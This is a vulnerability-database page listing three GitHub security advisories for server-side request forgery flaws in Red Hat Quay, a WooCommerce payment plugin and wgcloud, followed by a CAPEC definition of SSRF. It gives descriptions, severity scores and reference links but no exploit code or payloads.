Vulnerability from github – Published: 2026-08-15 00:31 – Updated: 2026-08-15 00:31A flaw was found in Red Hat Quay. A user with FEATURE_BUILD_SUPPORT enabled and repository write access can exploit a Server-Side Request Forgery (SSRF) vulnerability within the build API. This allows the user to provide a malicious URL, causing the Quay builder to make requests to internal network addresses. Such an action could lead to the disclosure of sensitive internal information.
{
"affected": [],
"aliases": [
"CVE-2026-74247"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-14T23:16:34Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Red Hat Quay. A user with FEATURE_BUILD_SUPPORT enabled and repository write access can exploit a Server-Side Request Forgery (SSRF) vulnerability within the build API. This allows the user to provide a malicious URL, causing the Quay builder to make requests to internal network addresses. Such an action could lead to the disclosure of sensitive internal information.",
"id": "GHSA-rg7f-fcx2-cjw3",
"modified": "2026-08-15T00:31:26Z",
"published": "2026-08-15T00:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74247"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-74247"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2516144"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RG7M-27F9-6XR8
Vulnerability from github – Published: 2025-07-04 03:30 – Updated: 2025-07-04 03:30The PayMaster for WooCommerce plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 0.4.31 via the 'wp_ajax_paym_status' AJAX action This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-6729"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-04T03:15:22Z",
"severity": "MODERATE"
},
"details": "The PayMaster for WooCommerce plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 0.4.31 via the \u0027wp_ajax_paym_status\u0027 AJAX action This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-rg7m-27f9-6xr8",
"modified": "2025-07-04T03:30:32Z",
"published": "2025-07-04T03:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6729"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/woocommerce-paymaster-gateway-019"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2b9b501e-2ce7-43d8-bad2-6c3176eed8e2?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RG9M-JXJW-MQJ6
Vulnerability from github – Published: 2026-03-19 18:31 – Updated: 2026-03-24 03:31The backend database management connection test feature in wgcloud v3.6.3 has a server-side request forgery (SSRF) vulnerability. This issue can be exploited to make the server send requests to probe the internal network, remotely download malicious files, and perform other dangerous operations.
{
"affected": [],
"aliases": [
"CVE-2026-30404"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-19T16:16:02Z",
"severity": "HIGH"
},
"details": "The backend database management connection test feature in wgcloud v3.6.3 has a server-side request forgery (SSRF) vulnerability. This issue can be exploited to make the server send requests to probe the internal network, remotely download malicious files, and perform other dangerous operations.",
"id": "GHSA-rg9m-jxjw-mqj6",
"modified": "2026-03-24T03:31:19Z",
"published": "2026-03-19T18:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30404"
},
{
"type": "WEB",
"url": "https://github.com/TTTlw1024/qwe/issues/3"
},
{
"type": "WEB",
"url": "https://github.com/tianshiyeben/wgcloud/issues/98"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.